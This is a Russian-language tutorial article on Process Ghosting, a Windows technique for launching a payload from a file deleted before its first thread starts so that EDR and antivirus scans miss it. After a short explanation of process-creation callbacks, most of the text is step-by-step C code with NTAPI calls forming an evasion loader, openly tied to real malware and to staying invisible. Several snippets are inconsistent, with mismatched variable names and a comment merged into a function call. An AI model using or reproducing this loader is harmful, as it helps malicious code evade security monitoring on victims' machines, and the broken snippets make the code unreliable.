Process Ghosting. Как работает одна из опаснейших техник обхода антивирусов
Различные способы скрытия работы своего кода постоянно будоражат хакерские умы. В этой статье я покажу, как запускать процессы при помощи техники Process Ghosting, а затем разберем, как работают системы обнаружения вредоносного кода.
Как‑то я уже рассказывал об одной подобной технике под названием Process Doppelganging. С того времени появились другие, более современные техники запуска кода под прикрытием легитимных процессов.
Process Ghosting — одна из наиболее актуальных в данный момент техник. С ее помощью злоумышленник может организовать запуск своего кода из уже удаленного файла. Этот прием часто используется в боевой малвари. Но чтобы понять, как он работает, сначала разберем матчасть.
В статье будут использоваться функции NTAPI. Напоминаю, что их нельзя просто так вызывать, нужно получать их динамически из ntdll.dll
.
КАК РАБОТАЕТ МОНИТОРИНГ EDR (ENDPOINT DETECTION AND RESPONSE)
Средства EDR часто мониторят создание процессов при помощи разных функций, например вот этих:
Файл сканируется при запуске, а точнее — при создании процесса. Вот прототипы перечисленных функций:
NTSTATUS PsSetCreateProcessNotifyRoutine(
// Callback-функция обработчика
[in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
[in] BOOLEAN Remove);
NTSTATUS PsSetCreateProcessNotifyRoutineEx(
// Callback-функция обработчика
[in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
[in] BOOLEAN Remove);
NTSTATUS PsSetCreateProcessNotifyRoutineEx2(
// Callback-функция обработчика
[in] PSCREATEPROCESSNOTIFYTYPE NotifyType,
[in] PVOID NotifyInformation,
[in] BOOLEAN Remove);
Обрати внимание: сканирование происходит именно при запуске процесса, а не в каких‑то других случаях. Разумеется, делается это ради экономии ресурсов, иначе сканирование всех файлов в системе заняло бы очень много времени, особенно при операциях записи.
Для EDR все идет по плану, если для создания процесса используется функция NtCreateUserProcess
(современный NTAPI, доступный со времен Windows Vista), потому что она берет на себя почти всю работу по созданию процесса и первого потока. Все действия происходят в ее контексте: создается первый поток процесса, производится вызов колбэков из PsSetCreateProcessNotifyRoutineEx
и так далее. На все это сложно как‑то повлиять с нашей стороны. И именно при таком сценарии эффективны защитные средства EDR, потому что они рассчитывают, что процесс будет создан именно через NtCreateUserProcess
.
Этот вызов NTAPI используют и стандартные API типа CreateProcess
(CreateProcess
→ CreateProcessInternalW
→ NtCreateUserProcess
) или RtlCreateUserProcess
(RtlCreateUserProcessEx
→ RtlpCreateUserProcess
→ NtCreateUserProcess
). То есть, грубо говоря, даже если ты пишешь код, используя WinAPI, что редкость само по себе, то все равно в итоге будет вызвана «правильная» функция NtCreateUserProcess
, удовлетворяющая требованиям средств EDR.
Но все меняется, если процесс создается при помощи функции NtCreateProcessEx
. Она старее NtCreateUserProcess
и оставлена в Windows для обратной совместимости. Дело в том, что эта функция позволяет создавать процесс в более «ручном» режиме, где можно влиять на сам процесс создания и запуска потоков из пользовательского режима. В том числе это возможно, если подменять или удалять файлы и процессы или устанавливать нужные флаги, что мы, собственно, и сделали. Мы пришли к тому, что наш исполняемый код остался только в памяти и избежал сканирования, потому что был уже удален с жесткого диска до создания его первого потока.
КОДИМ!
Теоретическая картина нам ясна, начнем программировать. Давай посмотрим, что нужно, чтобы реализовать Process Ghosting.
Начинается все с создания временного файла, который мы потом удалим. Я буду создавать файл при помощи NTAPI-функции NtCreateFile
(не забываем выдать права на удаление, запись и прочее). Разместим, само собой, в папке для временных файлов.
HANDLE hProcess = INVALID_HANDLE_VALUE;
HANDLE hSection = INVALID_HANDLE_VALUE;
HANDLE hTempFile = INVALID_HANDLE_VALUE;
HANDLE hThread = INVALID_HANDLE_VALUE;
wchar_t filename[MAX_PATH] = { 0 };
wchar_t path_of_tempfile[MAX_PATH] = { 0 };
UNICODE_STRING file_name = { 0 };
IO_STATUS_BLOCK io_stat_block = { 0 };
OBJECT_ATTRIBUTES attributes = { 0 };
wstring nt_path = L"\\??\\" + wstring(filePath);
DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile);
GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename);
if (tempfile_size > MAX_PATH || (tempfile_size == 0))
return 1;
RtlInitUnicodeString(&file_name, nt_path.c_str());
InitializeObjectAttributes(&attributes, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = NtOpenFile(&hTempFile, DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE, &attributes, &io_stat_block, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT);
if (!NT_SUCCESS(status))
return INVALID_HANDLE_VALUE;
Теперь необходимо пометить файл как приготовленный к удалению. Для этого будем использовать функцию NtSetInformationFile, задав значение последнего аргумента как FileDispositionInformation
. Таким образом нашему файлу будет присвоен флаг DeletePending. С этого момента операционная система будет готова сразу удалить файл, как только закроется его дескриптор.
FILE_DISPOSITION_INFORMATION info = { 0 };
info.DeleteFile = TRUE;
status = NtSetInformationFile(hTempFile, &io_status_block, &info, sizeof(info), FileDispositionInformation);
if (!NT_SUCCESS(status))
return INVALID_HANDLE_VALUE;
Теперь пишем наш код (функция NtWriteFile
), который хотим выполнить в обход средств мониторинга, в созданный временный файл.
LARGE_INTEGER offset = { 0 };
status = NtWriteFile( hTempFile, NULL, NULL, NULL, &status_block,
// Буфер с нашей полезной нагрузкой
myCodeBuf,
// Размер полезной нагрузки
myCodeSize, &offset, NULL);
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;
Из нашего временного файла создаем объект «секция» при помощи вызова функции NtCreateSection
. Не забываем про правильные аргументы функции: PAGE_READONLY
и SEC_IMAGE
, которые будут указывать на то, что мы работаем с исполняемым файлом образа.
status = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE,
// Создаем секцию из временного файла
hTempFile);
if (status != STATUS_SUCCESS)
return INVALID_HANDLE_VALUE;
Сейчас мы можем закрыть дескриптор временного файла (вызовом NtClose
). Поскольку наш временный файл был создан с флагом DeletePending
(ожидающий удаления), то закрытие дескриптора приводит к немедленному удалению файла силами ОС.
Создаем процесс из нашей секции. В результате получим хендл нового процесса, который будем использовать далее для создания потока внутри нашего процесса.
status = NtCreateProcessEx( &hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES,
// Наша секция, которую мы создали на предыдущем шаге
hSection, NULL, NULL, FALSE);
if (status != STATUS_SUCCESS)
return 1;
Далее, чтобы наш поток смог запуститься в ОС, мы должны настроить PEB и настроить параметры процесса.
Сначала займемся параметрами:
UNICODE_STRING ImagePath = { 0 };
UNICODE_STRING DllPath = { 0 };
wchar_t curDirPath[MAX_PATH] = { 0 };
UNICODE_STRING CurrentDirectory = { 0 };
UNICODE_STRING WindowTitle = { 0 };
wchar_t dllSystemDir[] = L"C:\\Windows\\System32";wchar_t* windowTitle = (LPWSTR)L"Calculator";
PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;
LPVOID Environment;
RtlInitUnicodeString(&ImagePath, victimPath);
GetCurrentDirectoryW(MAX_PATH, curDirPath);
RtlInitUnicodeString(&CurrentDirectory, curDirPath);
RtlInitUnicodeString(&DllPath, dllSystemDir);
RtlInitUnicodeString(&WindowTitle, windowTitle);
CreateEnvironmentBlock(&Environment, NULL, TRUE);
NTSTATUS status = RtlCreateProcessParametersEx( &pProcessParams, (PUNICODE_STRING)&ImagePath, (PUNICODE_STRING)&DllPath, (PUNICODE_STRING)&CurrentDirectory, (PUNICODE_STRING)&ImagePath, Environment, (PUNICODE_STRING)&WindowTitle, nullptr, nullptr, nullptr, RTL_USER_PROC_PARAMS_NORMALIZED);
if (status != STATUS_SUCCESS)
return 1;
Запишем параметры в процесс (опускаю бесконечные if, нужные для проверки корректности вызовов):
VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)pProcessParams, pProcessParams->Length, NULL);
VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, NULL);
Теперь настроим PEB. На самом деле это стандартная процедура, применяемая при запуске подобных процессов через NtCreateProcessEx
и подобные функции. Такое встречается в любом коде, она не характерна именно для Process Ghosting.
PEB peb_struct = { 0 };
PROCESS_BASIC_INFORMATION pbi = { 0 };
SIZE_T count = 0;
DWORD RetLen = 0;
status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &RetLen);
if (status != STATUS_SUCCESS)
return 1;
ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress;
ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (ULONGLONG)&peb_struct;
LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset);
if (!WriteProcessMemory(hProcess, new_image_base, &pProcessParams, sizeof(PVOID), &count))
return 1;
Создаем первый поток в нашем процессе при помощи функции NtCreateThreadEx
.
status = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)processEntryPoint, // Вычисляем его по формуле
processEntryPoint = PEB.ImageBaseAddress + EntryPoint нашего внедряемого кода NULL, FALSE, 0, 0, 0, NULL);
if (status != STATUS_SUCCESS)
return 1;
ВЫВОДЫ
Вот ты и научился запускать процессы при помощи Process Ghosting! Но расслабляться рано. Методы скрытия выполнения кода — это только один из шагов к тому, чтобы добиться полноценной невидимости. Кроме того, именно этот метод оставляет в памяти некоторые артефакты, но его можно скрещивать с другими техниками, чтобы избежать обнаружения. В общем, мы еще продолжим эту тему!